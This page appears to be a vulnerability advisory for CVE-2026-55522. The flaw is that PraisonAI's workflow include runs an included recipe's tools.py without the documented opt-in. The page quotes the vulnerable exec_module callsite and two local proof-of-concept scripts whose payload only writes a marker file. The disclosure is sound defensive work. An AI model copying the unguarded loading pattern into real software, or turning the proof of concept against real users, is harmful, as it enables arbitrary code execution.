CVE-2026-55522: Praisonaiagents PraisonAI Workflow Include Bypasses Tools.py Vulnerability
HIGHCVE-2026-55522 is a HIGH (CVSS 7.8) praisonai workflow include bypasses tools.py vulnerability (CWE-829: Inclusion of Functionality from Untrusted Control Sphere) affecting Praisonaiagents libraries in the PyPI ecosystem. The issue involves praisonai workflow include bypasses tools.py autoload opt-in and executes included recipe code. Remediation is available by upgrading affected packages to version 1.6.58, 4.6.58.
CVE-2026-55522 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-55522
To remediate this vulnerability, upgrade all affected Praisonaiagents dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install praisonaiagents>=1.6.58
pip install PraisonAI>=4.6.58
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show praisonaiagents
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55522, inspect your installed packages using pip:
pip show praisonaiagents
Analyze the terminal output to locate any version of Praisonaiagents in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.58), your application is affected.
Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-829: Inclusion of Functionality from Untrusted Control Sphere, where the product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. In Praisonaiagents, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55522 Affected Praisonaiagents Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
praisonaiagents
|
PyPI |
≥ 0.12.12
< 1.6.58
|
1.6.58
|
|
PraisonAI
|
PyPI |
≥ 3.9.26
< 4.6.58
|
4.6.58
|
References
Frequently Asked Questions
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hxmv-c4g6-5fqc",
"modified" : "2026-08-25T14:15:27Z",
"published" : "2026-08-25T14:15:27Z",
"aliases" : [ "CVE-2026-55522" ],
"summary" : "PraisonAI workflow include bypasses tools.py autoload opt-in and executes included recipe code",
"details" : "## Summary\n\nPraisonAI's workflow include implementation implicitly imports and executes an included recipe's `tools.py` file even when the documented `tools.py` autoload opt-in is unset.\n\nThis bypasses the hardening added for the prior automatic `tools.py` RCE advisory family. A workflow that includes an untrusted local recipe can execute arbitrary Python module-level code before any model call or child workflow execution.\n\nThe same sink is reachable through the higher-level `praisonai.recipe.run()` recipe API when a steps-based recipe workflow includes a local child recipe. The supplementary PoV demonstrates this route without starting a network service or relying on external APIs.\n\nThis is distinct from the previously published `tool_resolver.py`, `api/call.py`, `templates/tool_override.py`, and `agents_generator.py` variants. The affected callsite is the workflow include implementation in `praisonaiagents`, reached through the documented/covered `Include` workflow composition feature.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- File: `praisonaiagents/workflows/workflows.py`\n- Sink: `Workflow._execute_include()`\n- Current affected callsite:\n\n```python\ntools_py = recipe_path / \"tools.py\"\nif tools_py.exists():\n spec = importlib.util.spec_from_file_location(\"recipe_tools\", tools_py)\n recipe_module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(recipe_module)\n```\n\nThe current head also contains a similar unguarded workflow-local `tools.py` import in `_resolve_pydantic_class()`. That adjacent sink is not needed for the primary impact claim because the include path has a cleaner public workflow execution path and local PoV.\n\n## Security Boundary\n\nPraisonAI documents secure defaults for implicit `tools.py` autoload:\n\n- `PRAISONAI_ALLOW_TEMPLATE_TOOLS` controls implicit template/CWD `tools.py` autoload and is disabled by default.\n- `PRAISONAI_ALLOW_LOCAL_TOOLS` controls automatic loading of local `tools.py` files and requires the value `true`.\n- Explicit override files/directories are the recommended way to load custom tools without the implicit autoload opt-in.\n- Existing regression tests for `GHSA-xcmw-grxf-wjhj` assert that template/CWD `tools.py` must not execute by default.\n\n`Workflow._execute_include()` does not check `PRAISONAI_ALLOW_TEMPLATE_TOOLS`, does not check `PRAISONAI_ALLOW_LOCAL_TOOLS`, and does not route through the shared safe loader before executing the included recipe's `tools.py`.\n\nThe report is not claiming that workflow includes themselves are unintended. Local tests in the repository cover `Include`, `include()`, YAML include parsing, and include-in-loop behavior. The security issue is specifically that the include implementation executes the included recipe's `tools.py` unconditionally instead of respecting the same implicit-tool-loading gates used elsewhere.\n\nThe report also is not claiming that recipe `tools.py` files are inherently unsafe or unsupported. Official recipe documentation describes `tools.py` as the place for custom functions and dynamic variables. The issue is the implicit execution mode: official tool-override documentation says implicit `tools.py` autoload from CWD or template directories is disabled by default, with explicit override files/directories recommended for new projects.\n\n## Impact\n\nAn attacker who can cause a victim process to run a workflow that includes an attacker-controlled local recipe directory can execute arbitrary Python code as the PraisonAI process user.\n\nThe payload runs during include setup, before child workflow parsing or any LLM/model call. The PoV only writes a local marker file.\n\n## Reproduction\n\nRun the attached local-only PoV:\n\n```bash\npython3 pov.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: included recipe tools.py executed with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nmarker=...\nmarker_content=executed\n```\n\nThe PoV:\n\n1. Unsets `PRAISONAI_ALLOW_LOCAL_TOOLS` and `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n2. Creates a temporary `child_recipe/tools.py` with a marker-write payload.\n3. Creates a minimal `child_recipe/workflow.yaml`.\n4. Runs `Workflow(steps=[include(\"child_recipe\")]).run(...)`.\n5. Confirms the marker file was written before any model-backed workflow step is needed.\n\nSupplementary higher-level API check:\n\n```bash\npython3 pov_recipe_run.py\n```\n\nExpected vulnerable output:\n\n```text\nVULNERABLE: praisonai.recipe.run() reached workflow include tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\nrecipe_status=success\nrecipe_ok=True\nmarker=...\nmarker_content=executed\n```\n\n## Validation\n\nTested vulnerable:\n\n- Current head: `bcb6957dac1bc8949866522948a9f61d7e4bd4c1`\n- Latest release tag: `v4.6.56` (`praisonai==4.6.56`, `praisonaiagents==1.6.56`)\n- Older affected tag: `v3.9.26` (`praisonai==3.9.26`, `praisonaiagents==0.12.12`)\n\nNegative/control observations:\n\n- `v3.9.24` does not expose the same `include` helper/API used by this PoV.\n- The hardened `praisonai.templates.tool_override.create_tool_registry_with_overrides(..., template_dir=...)` path does not execute `tools.py` when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is unset.\n- Existing regression test `src/praisonai/tests/unit/templates/test_tool_override_autoload_gate.py` states that implicit recipe/template `tools.py` autoload should be gated behind `PRAISONAI_ALLOW_TEMPLATE_TOOLS`.\n- Include is a first-class workflow feature, not an accidental private method: repository tests cover `include()` imports, YAML include parsing, direct `Workflow._execute_include` presence, and include steps inside loops.\n- `praisonai.recipe.run()` also reaches the sink through steps-based recipe workflow execution. This strengthens API reachability but does not change the base severity claim to Critical because a clean unauthenticated remote route for this exact include sink was not validated.\n\n## Root Cause\n\nThe include implementation reintroduced a direct `importlib.util.spec_from_file_location()` plus `spec.loader.exec_module()` path outside the centralized safe loader and template override gate. Prior fixes hardened several `tools.py` autoload chokepoints, but this workflow include sibling callsite still executes module-level code unconditionally.\n\n## Suggested Fix\n\nRoute included-recipe tool loading through the same security policy used by the template tool override system.\n\nConservative options:\n\n1. Do not implicitly load included recipe `tools.py` by default.\n2. Only load it when `PRAISONAI_ALLOW_TEMPLATE_TOOLS` is explicitly truthy.\n3. Prefer explicit `tools_sources`, `override_files`, or a caller-supplied registry for custom tools.\n4. Add regression coverage for `Workflow(steps=[include(\"...\")])` proving included recipe `tools.py` does not execute with the opt-in unset.\n5. Consider using AST-based discovery for names where possible, and delay execution until an explicitly configured tool is invoked under the appropriate policy.\n\nIf local workflow includes are intended to use `PRAISONAI_ALLOW_LOCAL_TOOLS` instead, the same principle applies: the include sink should call a shared helper and should not perform raw `exec_module()` directly.\n\n## Severity\n\nRationale: exploitation requires causing a victim/local process to process an attacker-controlled workflow/include or recipe directory, but no privileges are required once the workflow is run, attack complexity is low, and successful exploitation gives arbitrary Python code execution in the PraisonAI process.\n\nCritical/network severity is not claimed for the base report because a clean unauthenticated remote path for this exact include sink on current head was not validated.\n\n\n## Appendix A - pov.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local PoV for PraisonAI workflow include tools.py autoload.\n\nThis PoV uses only local files and the public workflow API. It verifies whether\na workflow-local include executes the included recipe's tools.py even when the\nPRAISONAI_ALLOW_LOCAL_TOOLS opt-in is unset.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_workflow_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -> Path:\n for parent in Path(__file__).resolve().parents:\n candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n if candidate.exists():\n return candidate\n raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -> int:\n repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n workdir = Path(tempfile.mkdtemp(prefix=\"prai-include-autoload-\"))\n old_cwd = Path.cwd()\n try:\n recipe = workdir / \"child_recipe\"\n recipe.mkdir()\n marker = workdir / MARKER_NAME\n\n (recipe / \"tools.py\").write_text(\n \"from pathlib import Path\\n\"\n f\"Path({str(marker)!r}).write_text('executed')\\n\"\n \"def benign_tool():\\n\"\n \" return 'ok'\\n\",\n encoding=\"utf-8\",\n )\n (recipe / \"workflow.yaml\").write_text(\n \"name: child\\n\"\n \"steps: []\\n\",\n encoding=\"utf-8\",\n )\n\n os.chdir(workdir)\n\n from praisonaiagents.workflows.workflows import Workflow, include\n\n workflow = Workflow(steps=[include(\"child_recipe\")])\n workflow.run(input=\"\", llm=\"dummy/local\", stream=False)\n\n if marker.exists():\n print(\n \"VULNERABLE: included recipe tools.py executed with \"\n \"PRAISONAI_ALLOW_LOCAL_TOOLS and PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n )\n print(f\"marker={marker}\")\n print(f\"marker_content={marker.read_text(encoding='utf-8')}\")\n return 0\n\n print(\"NOT VULNERABLE: included recipe tools.py did not execute\")\n return 1\n finally:\n os.chdir(old_cwd)\n shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n\n```\n\n## Appendix B - pov_recipe_run.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"Supplementary local PoV through praisonai.recipe.run().\n\nThis exercises the higher-level recipe API. It does not start a network server\nor rely on any external service. The payload writes a local marker file only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\n\n\nMARKER_NAME = \"prai_recipe_run_include_tools_autoload_marker.txt\"\n\n\ndef _find_default_repo() -> Path:\n for parent in Path(__file__).resolve().parents:\n candidate = parent / \"artifacts\" / \"repos\" / \"praisonai-current\"\n if candidate.exists():\n return candidate\n raise RuntimeError(\"Could not locate artifacts/repos/praisonai-current\")\n\n\ndef main() -> int:\n repo = Path(os.environ.get(\"PRAISONAI_POV_REPO\", str(_find_default_repo()))).resolve()\n sys.path.insert(0, str(repo / \"src\" / \"praisonai-agents\"))\n sys.path.insert(0, str(repo / \"src\" / \"praisonai\"))\n\n os.environ.pop(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", None)\n os.environ.pop(\"PRAISONAI_ALLOW_TEMPLATE_TOOLS\", None)\n\n workdir = Path(tempfile.mkdtemp(prefix=\"prai-recipe-include-autoload-\"))\n old_cwd = Path.cwd()\n try:\n parent_recipe = workdir / \"parent_recipe\"\n child_recipe = workdir / \"child_recipe\"\n parent_recipe.mkdir()\n child_recipe.mkdir()\n marker = workdir / MARKER_NAME\n\n (parent_recipe / \"TEMPLATE.yaml\").write_text(\n \"name: parent_recipe\\n\"\n \"version: 1.0.0\\n\"\n \"workflow: workflow.yaml\\n\",\n encoding=\"utf-8\",\n )\n (parent_recipe / \"workflow.yaml\").write_text(\n \"name: parent\\n\"\n \"steps:\\n\"\n \" - include: child_recipe\\n\",\n encoding=\"utf-8\",\n )\n (child_recipe / \"workflow.yaml\").write_text(\n \"name: child\\n\"\n \"steps: []\\n\",\n encoding=\"utf-8\",\n )\n (child_recipe / \"tools.py\").write_text(\n \"from pathlib import Path\\n\"\n f\"Path({str(marker)!r}).write_text('executed')\\n\"\n \"def benign_tool():\\n\"\n \" return 'ok'\\n\",\n encoding=\"utf-8\",\n )\n\n os.chdir(workdir)\n\n from praisonai import recipe\n\n result = recipe.run(str(parent_recipe), input={}, options={\"force\": True})\n\n if marker.exists():\n print(\n \"VULNERABLE: praisonai.recipe.run() reached workflow include \"\n \"tools.py execution with PRAISONAI_ALLOW_LOCAL_TOOLS and \"\n \"PRAISONAI_ALLOW_TEMPLATE_TOOLS unset\"\n )\n print(f\"recipe_status={result.status}\")\n print(f\"recipe_ok={result.ok}\")\n print(f\"marker={marker}\")\n print(f\"marker_content={marker.read_text(encoding='utf-8')}\")\n return 0\n\n print(\"NOT VULNERABLE: recipe.run() did not execute included recipe tools.py\")\n print(f\"recipe_status={result.status}\")\n print(f\"recipe_error={result.error}\")\n return 1\n finally:\n os.chdir(old_cwd)\n shutil.rmtree(workdir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "praisonaiagents"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0.12.12"
}, {
"fixed" : "1.6.58"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "PraisonAI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.9.26"
}, {
"fixed" : "4.6.58"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-hxmv-c4g6-5fqc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55522"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-426", "CWE-829", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-25T14:15:27Z",
"nvd_published_at" : "2026-08-05T20:17:10Z"
}
}